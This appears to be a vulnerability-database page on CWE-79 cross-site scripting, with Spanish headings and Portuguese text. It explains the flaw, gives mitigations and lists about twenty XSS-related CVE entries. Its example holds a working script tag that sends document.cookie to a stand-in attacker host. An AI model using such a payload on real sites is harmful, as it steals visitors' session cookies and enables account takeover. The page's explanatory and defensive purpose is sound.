Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-116097MEDIUMCloudClassroom-PHP-Project addnewstudent.php cross site scriptingEPSS 0.3%CVE-2012-20003MEDIUMCustom Tables WordPress Plugin < 3.4.6 Reflected XSS via iframe.phpEPSS 0.3%CVE-2025-30991MEDIUMWordPress Premium Packages plugin <= 6.0.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-27334MEDIUMWordPress Simple Google Static Map plugin <= 1.0.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-115982MEDIUMphpIPAM Rack Link Creation show-rack-popup.php create_rack_link cross site scriptingEPSS 0.3%CVE-2025-45236MEDIUMA stored cross-site scripting (XSS) vulnerability in the Edit Profile feature of DBSyncer v2.0.6 allows attackers to execute arbitrary web sEPSS 0.3%CVE-2025-49235MEDIUMWordPress RTMKit Addons for Elementor plugin <= 1.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31025MEDIUMWordPress Image Hover Effects Block plugin <= 1.4.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-41446MEDIUMA stored cross-site scripting (XSS) vulnerability in Alkacon OpenCMS v17.0 allows attackers to execute arbitrary web scripts or HTML via a cEPSS 0.3%CVE-2026-111877MEDIUMdext34-morgan Books4Cash search.php cross site scriptingEPSS 0.3%CVE-2024-51575MEDIUMWordPress Extender All In One For Elementor plugin <= 1.0.3 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-8195MEDIUMJeecgBoot SVG File CommonController.java cross site scriptingEPSS 0.3%CVE-2025-9590MEDIUMWeaver E-Mobile Mobile Management Platform cross site scriptingEPSS 0.3%CVE-2024-5739MEDIUMThe in-app browser of LINE client for iOS versions below 14.9.0 contains a Universal XSS (UXSS) vulnerability. This vulnerability allows forEPSS 0.3%CVE-2024-52701MEDIUMA stored cross-site scripting (XSS) vulnerability in the Configuration page of Piwigo v14.5.0 allows attackers to execute arbitrary web scriEPSS 0.3%CVE-2025-49301MEDIUMWordPress Greenshift plugin <= 11.5.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-48239MEDIUMWordPress Product Notes Tab & Private Admin Notes for WooCommerce plugin <= 3.1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-48250MEDIUMWordPress Coupons & Add to Cart by URL Links for WooCommerce plugin <= 1.7.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-27380HIGHHTML Injection Leading to Script Execution in Altium Enterprise ServerEPSS 0.3%CVE-2026-47348MEDIUMTYPO3 CMS - Cross-Site Scripting in Indexed SearchEPSS 0.3%